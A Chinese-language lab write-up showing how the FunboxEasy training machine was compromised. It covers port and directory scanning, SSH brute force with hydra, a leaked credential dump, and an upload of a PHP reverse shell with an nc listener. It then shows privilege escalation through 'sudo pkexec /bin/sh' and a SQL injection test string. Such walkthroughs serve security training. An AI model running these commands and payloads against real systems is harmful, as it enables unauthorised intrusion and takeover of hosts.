OSCP系列靶场-Esay-FunboxEasy

杳若   ·   发表于 2023-07-26 17:44:45   ·   CTF&WP专版

OSCP靶场系列-Esay-FunboxEasy

总结

getwebshell → 异常艰难的目录扫描 → 敏感信息泄露账户密码 → 文件上传登录

提 权 思 路 → 用户密码文件泄露 → ssh登录 → sudo提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.207

  • 启动靶机
    获取目标机器IP → 192.168.230.111

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    1. sudo nmap --min-rate 10000 -p- 192.168.230.111


通过两次收集到的端口:→22,80,33060

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.230.111

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1

  1. # 进入msf
  2. msfconsole
  3. # 搜索对应脚本
  4. msf6 > searchsploit OpenSSH 8.2p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root @ 192.168.230.111 -v
  2. # 如果显示publickey、password就是都支持

支持密钥以及密码登录

22-SSH弱口令爆破(挂着)

既然支持密码登录尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.230.111 ssh -s 22

期待奇迹发生,先挂着爆破弱口令

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root @ 192.168.230.111 -p 22
  2. # 密码尝试
  3. password > root

80-HTTP端口的信息收集

访问 http://192.168.230.111:80 发现是建站页直接从源码查看开始

信息收集-源码查看(无)

  1. # 包括文章中是否写明一些敏感信息
  2. curl http://192.168.230.111:80

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.230.111:80 -x 302,403

被吓到了,太多端点了


因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典)
  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点" class="reference-link">/robots.txt端点

优先访问robots.txt端点

  1. curl http://192.168.230.111/robots.txt

得到gym

/secret端点" class="reference-link">/secret端点

从目录名字上来说,比较有诱惑力

  1. ┌──(rootKali)-[/home/bachang/FunboxEasy]
  2. └─# curl http://192.168.230.111/secret/
  3. Anyone who lives within their means suffers from a lack of imagination.“
  4. Oscar Wilde (*1854 - 1900)

给了一段摸不着头脑的内容(后面没思路在思考)

/admin端点与/admin/?/login端点" class="reference-link">/admin端点与/admin/?/login端点

访问 http://192.168.230.111/admin/ 发现了登录端点
http://192.168.230.111/admin/?/login端点同理

/index.php与/index.php/login/ 端点" class="reference-link">/index.php/index.php/login/ 端点

访问 http://192.168.230.111/index.php/login/ 同样是一个登录端点

其余端点

从经验上来说 ,下面几个端点先放一边

  • /logout.php 是退出的php
  • /index.html 是首页
  • /checklogin.php 检查登录
  • /header.php 可能和检查有关
  • /admin/index.php 可能是调用login的内容
    /gym端点" class="reference-link">/gym端点
    从泄露中访问对应端点 http://192.168.230.111/gym/

各个端点的指纹收集

  1. whatweb http://192.168.230.111/admin
  2. whatweb http://192.168.230.111/gym/
  3. whatweb http://192.168.230.111/index.php/login/

根据现有信息得出CMSCRM有关


尝试搜索CRM的漏洞发现还无法精确指纹

目录扫描-2次递归

在似乎陷入困境之后思考到了之前目录扫描301的内容,接着扫描/store端点

  1. dirsearch -u http://192.168.230.111:80/store -x 302,403

又是劝退系列,特别多,慢慢访问

信息收集-端点访问

/store/.gitattributes端点

该端点似乎存在了提示

  1. ┌──(rootKali)-[/home/bachang/FunboxEasy]
  2. └─# curl http://192.168.230.111/store/.gitattributes
  3. # Auto detect text files and perform LF normalization
  4. * text=auto
/store/functions/端点

似乎存在路径遍历,访问之后没有显示内容,先待定

/store/controllers端点同理

/store/database/端点

在该端点下发现了有趣的内容


readme.txt.txt文件提示了账号密码信息,数据库信息以及邮箱


.sql文件下发现一些敏感内容

  1. -- Database: `www_project`
  2. ('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997');

/store/template/端点" class="reference-link">/store/template/端点

/store/index.php与/store/admin.php端点" class="reference-link">/store/index.php/store/admin.php端点

在访问的index.php端点下存在登录窗口


admin.php


其余端点先省略(后期思考,主要端点太多了)

端点的指纹收集

主要收集admin.php

  1. whatweb http://192.168.230.111/store/admin.php

漏洞利用-getwebshell

思考了一下 /store/database/端点的泄露很有意思

弱口令进入后台

访问 http://192.168.230.111/store/admin.php 使用 admin:admin成功进入后台

文件上传getwebshell尝试1(失败)

尝试修改文件的时候发现上传点


尝试文件上传发现存在sql错误

文件上传getwebshell尝试2(失败)

发现添加的按钮尝试添加


上传之后点击提交


提示错误,publisherid这一行

文件上传getwebshell尝试3

检查了与publisher相关的行


收集了对应信息

  1. O'Reilly Media
  2. Apress
  3. Wrox
  4. Wiley
  5. Addison-Wesley

发现使用对应的内容上传即可成功

反弹shell-php
  1. # 利用cp命令cp一个到当前文件夹
  2. sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

  1. # 开启监听
  2. sudo nc -lnvp 4444

  1. # 修改一下shell的反代地址
  2. vim shell.php

上传shell

发现上传点

发现上传的图片在首页可以查看到大致位置

  1. http://192.168.230.111/store/bootstrap/img/c_sharp_6.jpg

推理我们上传的在

  1. http://192.168.230.111/store/bootstrap/img/shell.php

成功获得shell感觉异常艰难

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. python -c "import pty;pty.spawn('/bin/bash')";
  2. # 利用python获取交互shell -→ python失败使用python3
  3. python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data @ funbox3:/$ find / -name local.txt 2→/dev/null
  2. find / -name local.txt 2→/dev/null
  3. /var/www/local.txt
  4. www-data @ funbox3:/$ cat /var/www/local.txt
  5. cat /var/www/local.txt
  6. ********************

提权基础(内网信息收集)

提权的本质在于枚举

检测Linux操作系统的发行版本

  1. # 确定发行版本
  2. lsb_release -a

Ubuntu 20.01发行版不太能overlayfs提权

检测Linux操作系统的内核版本

  1. cat /proc/version
  2. uname -a

内核版本 5.4.0

sudo收集(需要密码)

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. sudo -l

suid权限收集

搜索suid文件权限

  1. # -perm 文件权限
  2. find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

  1. ls -al /etc/passwd
  2. -rw-r--r-- 1 root root 1807 Jul 30 2020 /etc/passwd

getcap标志进程收集

  1. # 探查有CAP_SETUID标志的进程
  2. /usr/sbin/getcap -r / 2→/dev/null

/home用户下信息收集

发现/home目录下只有tony

  1. ls -al /home/tony


发现了password.txt查看发现敏感信息

  1. www-data @ funbox3:/home/tony$ cat password.txt
  2. ssh: yxcvbnmYYY
  3. gym/admin: asdfghjklXXX
  4. /store: admin @ admin.com admin

ssh登录

通过敏感信息推测tony账户的密码是yxcvbnmYYY
获取账号密码之后利用SSH进行登录

  1. sudo ssh tony @ 192.168.230.111 -p22
  2. password > yxcvbnmYYY

sudo收集

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. sudo -l

发现了许多可以提权的文件,进行提权

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

  1. (root) NOPASSWD: /usr/bin/yelp
  2. (root) NOPASSWD: /usr/bin/dmf
  3. (root) NOPASSWD: /usr/bin/whois
  4. (root) NOPASSWD: /usr/bin/rlogin
  5. (root) NOPASSWD: /usr/bin/pkexec
  6. (root) NOPASSWD: /usr/bin/mtr
  7. (root) NOPASSWD: /usr/bin/finger
  8. (root) NOPASSWD: /usr/bin/time
  9. (root) NOPASSWD: /usr/bin/cancel
  10. (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
发现pkexec提权


  1. sudo pkexec /bin/sh


提权成功~

FLAG2获取

  1. # cat /root/proof.txt
  2. **********************

完结撒花~

后记(忽略的点)

该登录端点 CSE Bookstore 存在SQL注入

  • ' or 1=1; --测试注入之后可以用sqlmap获取数据库信息
用户名金币积分时间理由
Track-魔方 700.00 0 2023-08-01 16:04:29 深度 300 普适 200 可读 200

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-29 | 449 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.